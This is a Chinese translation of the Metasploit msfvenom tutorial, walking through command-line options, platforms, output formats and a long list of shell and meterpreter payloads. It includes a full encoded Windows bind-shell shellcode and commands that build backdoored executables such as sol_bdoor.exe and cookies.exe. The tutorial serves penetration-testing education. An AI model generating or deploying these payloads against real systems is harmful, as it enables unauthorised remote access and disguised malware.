【译】msfvenom

原文链接：MSFvenom

1、使用MSFvenom命令行界面

msfvenom是Msfpayload和Msfencode的组合，将这两个工具集成在一个框架实例中。

msfvenom的优点是：

一个单一的工具
标准化的命令行选项
速度提升

Msfvenom有多种选项可供使用：

root@kali:~# msfvenom -h

Error: MsfVenom - a Metasploit standalone payload generator.

Also a replacement for msfpayload and msfencode.

Usage: /usr/bin/msfvenom [options] 

Options:

    -p, --payload        <payload>    Payload to use. Specify a '-' or stdin to use custom payloads

        --payload-options            List the payload's standard options

    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all

    -n, --nopsled        <length>     Prepend a nopsled of [length] size on to the payload

    -f, --format         <format>     Output format (use --help-formats for a list)

        --help-formats               List available formats

    -e, --encoder        <encoder>    The encoder to use

    -a, --arch           <arch>       The architecture to use

        --platform       <platform>   The platform of the payload

        --help-platforms             List available platforms

    -s, --space          <length>     The maximum size of the resulting payload

        --encoder-space  <length>     The maximum size of the encoded payload (defaults to the -s value)

    -b, --bad-chars      <list>       The list of characters to avoid example: '\x00\xff'

    -i, --iterations     <count>      The number of times to encode the payload

    -c, --add-code       <path>       Specify an additional win32 shellcode file to include

    -x, --template       <path>       Specify a custom executable file to use as a template

    -k, --keep                       Preserve the template behavior and inject the payload as a new thread

    -o, --out            <path>       Save the payload

    -v, --var-name       <name>       Specify a custom variable name to use for certain output formats

        --smallest                   Generate the smallest possible payload

    -h, --help                       Show this message

2、MSFvenom命令行用法

我们可以看到下面的msfvenom命令行及其输出的示例：

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python

Found 1 compatible encoders

Attempting to encode payload with 3 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai succeeded with size 353 (iteration=1)

x86/shikata_ga_nai succeeded with size 380 (iteration=2)

x86/shikata_ga_nai chosen with final size 380

Payload size: 380 bytes

buf = ""

buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"

buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"

buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"

buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"

buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"

buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"

buf += "\xe7\x31\x16\x82\xf6\xe2\x89\x89\x75\x67\xf7\xaa\xae"

buf += "\x73\x88\x3f\xf5\x6d\x3d\x9e\xab\x06\xda\xff\x42\x7a"

buf += "\x63\x6b\x72\x59\xf6\x58\xa5\xfe\x3f\x0b\x41\xa0\xf2"

buf += "\xfe\x2d\xc9\x32\x3d\xd4\x51\xf7\xa7\x56\xf8\x69\x08"

buf += "\x4d\x27\x8a\x2e\x19\x99\x7c\xfc\x63\xfa\x5c\xd5\xa8"

buf += "\x1f\xa8\x9b\x88\xbb\xa5\x3c\x8f\x7f\x38\x45\xd1\x71"

buf += "\x34\x59\x84\xb0\x97\xa0\x99\xcc\xfe\x7f\x37\xe2\x28"

buf += "\xea\x57\x01\xcf\xf8\x1e\x1e\xd8\xd3\x05\x67\x73\xf9"

buf += "\x32\xbb\x76\x8c\x7c\x2f\xf6\x29\x0f\xa5\x36\x2e\x73"

buf += "\xde\x31\xc3\xfe\xae\x49\x64\xd2\x39\xf1\xf2\xc7\xa0"

buf += "\x06\xd3\xf6\x1a\xfe\x0a\xfe\x28\xbe\x1a\x42\x9c\xde"

buf += "\x01\x16\x27\xbd\x29\x1c\xf8\x7d\x47\x2c\x68\x06\x0e"

buf += "\x23\x31\xfe\x7d\x58\xe8\x7b\x76\x4b\xfe\xdb\x17\x51"

buf += "\xfa\xdf\xff\xa1\xbc\xc5\x66\x4b\xea\x23\x86\x47\xb4"

buf += "\xe7\xd5\x71\x77\x2e\x24\x4a\x3d\xb1\x6f\x12\xf2\xb2"

buf += "\xd0\x55\xc9\x23\x2e\xc2\xa5\x73\xb2\xc8\xb7\x7d\x6b"

buf += "\x55\x29\xbc\x26\xdd\xf6\xe3\xf6\x25\xc6\x5c\xad\x9c"

buf += "\x9d\x18\x08\x3b\xbf\xd2\xff\x92\x18\x5f\x48\x9b\xe0"

buf += "\x7b\x03\xa5\x32\x11\x27\x2b\x25\xcd\x44\xdb\xbd\xb9"

buf += "\xcd\x48\xda\x56\x4c\x56\xd5\x04\x87\x48\x3a\x6b\x9c"

buf += "\x2a\x15\x4d\xbc\x0b\x56\x06\xb5\xc9\x46\xd0\xfa\x68"

buf += "\xa6\x76\xe9\x52\x2c\x24\x62\x28\xe1\x1d\x87\xb0\x66"

buf += "\x93\x85\x8f\x87\x0f\xcf\x16\x29\x76\x03\x55\x0c\x0e"

buf += "\x3f\x17\xac"

上面的msfvenom命令和由此产生的shellcode生成一个Windows绑定shell，它经过shikata_ga_nai编码器的三次迭代，没有空字节而且是python格式。

3、MSFvenom平台

以下是使用--platform选项可以输入的可用平台的列表：

Cisco or cisco

OSX or osx

Solaris or solaris

BSD or bsd

OpenBSD or openbsd

Firefox or firefox

BSDi or bsdi

NetBSD or netbsd

NodeJS or nodejs

FreeBSD or freebsd

Python or python

AIX or aix

JavaScript or javascript

HPUX or hpux

PHP or php

Irix or irix

Unix or unix

Linux or linux

Ruby or ruby

Java or java

Android or android

Netware or netware

Windows or windows

4、MSFvenom选项和使用

4.1 msfvenom -v or –var-name

Usage: -v, –var-name >name>

指定用于某些输出格式的自定义变量名称。用-v指定名称将将输出的变量从默认的"buf"更改为您提供的任何字词。

默认输出示例：[buf]

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai chosen with final size 326

Payload size: 326 bytes

buf = ""

buf += "\xda\xdc\xd9\x74\x24\xf4\x5b\xba\xc5\x5e\xc1\x6a\x29"

...snip...

使用-var-name输出示例：[nobuf]

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python -v notBuf

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai chosen with final size 326

Payload size: 326 bytes

notBuf = ""

notBuf += "\xda\xd1\xd9\x74\x24\xf4\xbf\xf0\x1f\xb8\x27\x5a"

...snip...

4.2 msfvenom –help-format

使用此选项列举msfvenom所有可用的有效载荷格式。

root@kali:~# msfvenom --help-formats

Executable formats

asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small,

hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection,

psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl,

powershell, ps1, py, python, raw, rb, ruby, sh,

vbapplication, vbscript

4.3 msfvenom -n, –nopsled

有时您需要在有效载荷开始时添加一些NOP[空]。这将在您的有效载荷的开头放置一个[-n 长度]的大小。

使用-n之前：

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of generic/none

generic/none succeeded with size 299 (iteration=0)

generic/none chosen with final size 299

Payload size: 299 bytes

buf = ""

buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload

buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"

...snip...

使用-n之后：

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python -n 26

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of generic/none

generic/none succeeded with size 299 (iteration=0)

generic/none chosen with final size 299

Successfully added NOP sled from x86/single_byte

Payload size: 325 bytes

buf = ""

buf += "\x98\xfd\x40\xf9\x43\x49\x40\x4a\x98\x49\xfd\x37\x43" **NOPs

buf += "\x42\xf5\x92\x42\x42\x98\xf8\xd6\x93\xf5\x92\x3f\x98"

buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload

...snip...

4.4 msfvenom –smallest

如果使用--smallest选项，msfvevom将尝试创建最小的shellcode选择编码器和有效载荷。

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai chosen with final size 326

Payload size: 326 bytes

...snip...

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python --smallest

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 312 (iteration=0)

x86/shikata_ga_nai chosen with final size 312

Payload size: 312 bytes

...snip...

4.5 msfvenom -c, –add-code

指定一个win32 shellcode文件，再创建两个载荷合并到一个shellcode中

Payload #1:

root@kali:~# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox

No encoder or badchars specified, outputting raw payload

Payload size: 267 bytes

Adding payload #2:

root@kali:~# msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw > messageBox2

Adding shellcode from messageBox to the payload

No encoder or badchars specified, outputting raw payload

Payload size: 850 bytes

Adding payload #3:

root@kali:~# msfvenom -c messageBox2 -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o cookies.exe

Adding shellcode from messageBox2 to the payload

No encoder or badchars specified, outputting raw payload

Payload size: 1469 bytes

Saved as: cookies.exe

运行"cookies.exe"文件，将执行两个消息框的payloads，bindshell将使用默认配置绑定（端口4444）。

运行结果如下图所示：

4.6 msfvenom -x, –template & -k, –keep

-x/-template选项:

　　用于指定在创建可执行有效负载时用作模板的现有可执行文件。

-k/-keep选项:

　　可以保留模板的正常行为，并将注入的有效负载作为单独的线程运行。

root@kali:~# msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "\x00" -f exe -o sol_bdoor.exe

Found 10 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 299 (iteration=0)

x86/shikata_ga_nai chosen with final size 299

Payload size: 299 bytes

Saved as: sol_bdoor.exe

5、附赠

5.2 msfvenom参数详解

msfvenom -l payloads

root@localhost:~# msfvenom -l payloads

Framework Payloads (437 total)

==============================

Name Description

---- -----------

aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell

aix/ppc/shell_find_port Spawn a shell on an established connection

aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)

aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell

android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP

android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS

android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager

android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP

android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS

android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager

bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell

bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell

bsd/x64/exec Execute an arbitrary command

bsd/x64/shell_bind_ipv6_tcp Listen for a connection and spawn a command shell over IPv6

bsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port

bsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell

bsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6

bsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

bsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell

bsd/x86/exec Execute an arbitrary command

bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service

bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service

bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6

bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection

bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection

bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6

bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell

bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6

bsd/x86/shell_find_port Spawn a shell on an established connection

bsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)

bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell

bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6

bsdi/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection

bsdi/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

bsdi/x86/shell_bind_tcp Listen for a connection and spawn a command shell

bsdi/x86/shell_find_port Spawn a shell on an established connection

bsdi/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell

cmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWK

cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)

cmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua

cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat

cmd/unix/bind_netcat_gaping Listen for a connection and spawn a command shell via netcat

cmd/unix/bind_netcat_gaping_ipv6 Listen for a connection and spawn a command shell via netcat

cmd/unix/bind_nodejs Continually listen for a connection and spawn a command shell via nodejs

cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl

cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl

cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby

cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby

cmd/unix/bind_zsh Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.

cmd/unix/generic Executes the supplied command

cmd/unix/interact Interacts with a shell on an established socket connection

cmd/unix/reverse Creates an interactive shell through two inbound connections

cmd/unix/reverse_awk Creates an interactive shell via GNU AWK

cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.

cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mknod and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.

cmd/unix/reverse_lua Creates an interactive shell via Lua

cmd/unix/reverse_netcat Creates an interactive shell via netcat

cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat

cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs

cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections

cmd/unix/reverse_perl Creates an interactive shell via perl

cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL

cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL

cmd/unix/reverse_python Connect back and create a command shell via Python

cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.

cmd/unix/reverse_ruby Connect back and create a command shell via Ruby

cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL

cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option

cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.

cmd/windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)

cmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua

cmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (persistent)

cmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent)

cmd/windows/bind_ruby Continually listen for a connection and spawn a command shell via Ruby

cmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage a vbs encoded payload from a short command line.

cmd/windows/download_exec_vbs Download an EXE from an HTTP(S) URL and execute it

cmd/windows/generic Executes the supplied command

cmd/windows/powershell_bind_tcp Interacts with a powershell session on an established socket connection

cmd/windows/powershell_reverse_tcp Interacts with a powershell session on an established socket connection

cmd/windows/reverse_lua Creates an interactive shell via Lua

cmd/windows/reverse_perl Creates an interactive shell via perl

cmd/windows/reverse_powershell Connect back and create a command shell via Powershell

cmd/windows/reverse_ruby Connect back and create a command shell via Ruby

firefox/exec This module runs a shell command on the target OS withough touching the disk. On Windows, this command will flash the command prompt momentarily. This can be avoided by setting WSCRIPT to true, which drops a jscript "launcher" to disk that hides the prompt.

firefox/shell_bind_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API

firefox/shell_reverse_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API

generic/custom Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR.

generic/debug_trap Generate a debug trap in the target process

generic/shell_bind_tcp Listen for a connection and spawn a command shell

generic/shell_reverse_tcp Connect back to attacker and spawn a command shell

generic/tight_loop Generate a tight loop in the target process

java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell

java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell

java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection

java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP

java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS

java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager

java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection

java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager

java/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/armle/adduser Create a new user with UID 0

linux/armle/exec Execute an arbitrary command

linux/armle/shell/bind_tcp dup2 socket in r12, then execve. Listen for a connection

linux/armle/shell/reverse_tcp dup2 socket in r12, then execve. Connect back to the attacker

linux/armle/shell_bind_tcp Connect to target and spawn a command shell

linux/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/mipsbe/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes.

linux/mipsbe/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes or executing other payloads that rely on initial startup procedures.

linux/mipsbe/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

linux/mipsbe/shell_bind_tcp Listen for a connection and spawn a command shell

linux/mipsbe/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/mipsle/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.

linux/mipsle/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.

linux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

linux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell

linux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/ppc/shell_bind_tcp Listen for a connection and spawn a command shell

linux/ppc/shell_find_port Spawn a shell on an established connection

linux/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/ppc64/shell_bind_tcp Listen for a connection and spawn a command shell

linux/ppc64/shell_find_port Spawn a shell on an established connection

linux/ppc64/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/x64/exec Execute an arbitrary command

linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection

linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell

linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.

linux/x64/shell_find_port Spawn a shell on an established connection

linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/x86/adduser Create a new user with UID 0

linux/x86/chmod Runs chmod on specified file with specified mode

linux/x86/exec Execute an arbitrary command

linux/x86/meterpreter/bind_ipv6_tcp Inject the meterpreter server payload (staged). Listen for an IPv6 connection (Linux x86)

linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)

linux/x86/meterpreter/bind_nonx_tcp Inject the meterpreter server payload (staged). Listen for a connection

linux/x86/meterpreter/bind_tcp Inject the meterpreter server payload (staged). Listen for a connection (Linux x86)

linux/x86/meterpreter/bind_tcp_uuid Inject the meterpreter server payload (staged). Listen for a connection with UUID Support (Linux x86)

linux/x86/meterpreter/find_tag Inject the meterpreter server payload (staged). Use an established connection

linux/x86/meterpreter/reverse_ipv6_tcp Inject the meterpreter server payload (staged). Connect back to attacker over IPv6

linux/x86/meterpreter/reverse_nonx_tcp Inject the meterpreter server payload (staged). Connect back to the attacker

linux/x86/meterpreter/reverse_tcp Inject the meterpreter server payload (staged). Connect back to the attacker

linux/x86/meterpreter/reverse_tcp_uuid Inject the meterpreter server payload (staged). Connect back to the attacker

linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service

linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service

linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor

linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)

linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)

linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection

linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)

linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)

linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection

linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6

linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker

linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker

linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell

linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell

linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.

linux/x86/shell_find_port Spawn a shell on an established connection

linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)

linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell

linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell

mainframe/shell_reverse_tcp Listen for a connection and spawn a command shell. This implmentation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.

netware/shell/reverse_tcp Connect to the NetWare console (staged). Connect back to the attacker

nodejs/shell_bind_tcp Creates an interactive shell via nodejs

nodejs/shell_reverse_tcp Creates an interactive shell via nodejs

nodejs/shell_reverse_tcp_ssl Creates an interactive shell via nodejs, uses SSL

osx/armle/execute/bind_tcp Spawn a command shell (staged). Listen for a connection

osx/armle/execute/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

osx/armle/shell/bind_tcp Spawn a command shell (staged). Listen for a connection

osx/armle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

osx/armle/shell_bind_tcp Listen for a connection and spawn a command shell

osx/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell

osx/armle/vibrate Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.

osx/ppc/shell/bind_tcp Spawn a command shell (staged). Listen for a connection

osx/ppc/shell/find_tag Spawn a command shell (staged). Use an established connection

osx/ppc/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker

osx/ppc/shell_bind_tcp Listen for a connection and spawn a command shell

osx/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell

osx/x64/dupandexecve/bind_tcp dup2 socket in edi, then execve. Listen, read length, read buffer, execute

osx/x64/dupandexecve/reverse_tcp dup2 socket in edi, then execve. Connect, read length, read buffer, execute

osx/x64/exec Execute an arbitrary command

osx/x64/say Say an arbitrary string outloud using Mac OS X text2speech

osx/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port

osx/x64/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)

osx/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

osx/x86/bundleinject/bind_tcp Inject a custom Mach-O bundle into the exploited process. Listen, read length, read buffer, execute

osx/x86/bundleinject/reverse_tcp Inject a custom Mach-O bundle into the exploited process. Connect, read length, read buffer, execute

osx/x86/exec Execute an arbitrary command

osx/x86/isight/bind_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Listen, read length, read buffer, execute

osx/x86/isight/reverse_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Connect, read length, read buffer, execute

osx/x86/shell_bind_tcp Listen for a connection and spawn a command shell

osx/x86/shell_find_port Spawn a shell on an established connection

osx/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell

osx/x86/vforkshell/bind_tcp Call vfork() if necessary and spawn a command shell (staged). Listen, read length, read buffer, execute

osx/x86/vforkshell/reverse_tcp Call vfork() if necessary and spawn a command shell (staged). Connect, read length, read buffer, execute

osx/x86/vforkshell_bind_tcp Listen for a connection, vfork if necessary, and spawn a command shell

osx/x86/vforkshell_reverse_tcp Connect back to attacker, vfork if necessary, and spawn a command shell

php/bind_perl Listen for a connection and spawn a command shell via perl (persistent)

php/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent) over IPv6

php/bind_php Listen for a connection and spawn a command shell via php

php/bind_php_ipv6 Listen for a connection and spawn a command shell via php (IPv6)

php/download_exec Download an EXE from an HTTP URL and execute it

php/exec Execute a single system command

php/meterpreter/bind_tcp Run a meterpreter server in PHP. Listen for a connection

php/meterpreter/bind_tcp_ipv6 Run a meterpreter server in PHP. Listen for a connection over IPv6

php/meterpreter/bind_tcp_ipv6_uuid Run a meterpreter server in PHP. Listen for a connection over IPv6 with UUID Support

php/meterpreter/bind_tcp_uuid Run a meterpreter server in PHP. Listen for a connection with UUID Support

php/meterpreter/reverse_tcp Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions

php/meterpreter/reverse_tcp_uuid Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions

php/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter server (PHP)

php/reverse_perl Creates an interactive shell via perl

php/reverse_php Reverse PHP connect back shell with checks for disabled functions

php/shell_findsock Spawn a shell on the established connection to the webserver. Unfortunately, this payload can leave conspicuous evil-looking entries in the apache error logs, so it is probably a good idea to use a bind or reverse shell unless firewalls prevent them from working. The issue this payload takes advantage of (CLOEXEC flag not set on sockets) appears to have been patched on the Ubuntu version of Apache and may not work on other Debian-based distributions. Only tested on Apache but it might work on other web servers that leak file descriptors to child processes.

python/meterpreter/bind_tcp Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5). Listen for a connection

python/meterpreter/bind_tcp_uuid Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5). Listen for a connection with UUID Support

python/meterpreter/reverse_http Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5). Tunnel communication over HTTP

python/meterpreter/reverse_https Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5). Tunnel communication over HTTP using SSL

python/meterpreter/reverse_tcp Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5). Connect back to the attacker

python/meterpreter/reverse_tcp_uuid Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5). Connect back to the attacker with UUID Support

python/meterpreter_bind_tcp Connect to the victim and spawn a Meterpreter shell

python/meterpreter_reverse_http Connect back to the attacker and spawn a Meterpreter shell

python/meterpreter_reverse_https Connect back to the attacker and spawn a Meterpreter shell

python/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell

python/shell_reverse_tcp Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3

python/shell_reverse_tcp_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.

ruby/shell_bind_tcp Continually listen for a connection and spawn a command shell via Ruby

ruby/shell_bind_tcp_ipv6 Continually listen for a connection and spawn a command shell via Ruby

ruby/shell_reverse_tcp Connect back and create a command shell via Ruby

ruby/shell_reverse_tcp_ssl Connect back and create a command shell via Ruby, uses SSL

solaris/sparc/shell_bind_tcp Listen for a connection and spawn a command shell

solaris/sparc/shell_find_port Spawn a shell on an established connection

solaris/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell

solaris/x86/shell_bind_tcp Listen for a connection and spawn a command shell

solaris/x86/shell_find_port Spawn a shell on an established connection

solaris/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell

tty/unix/interact Interacts with a TTY on an established socket connection

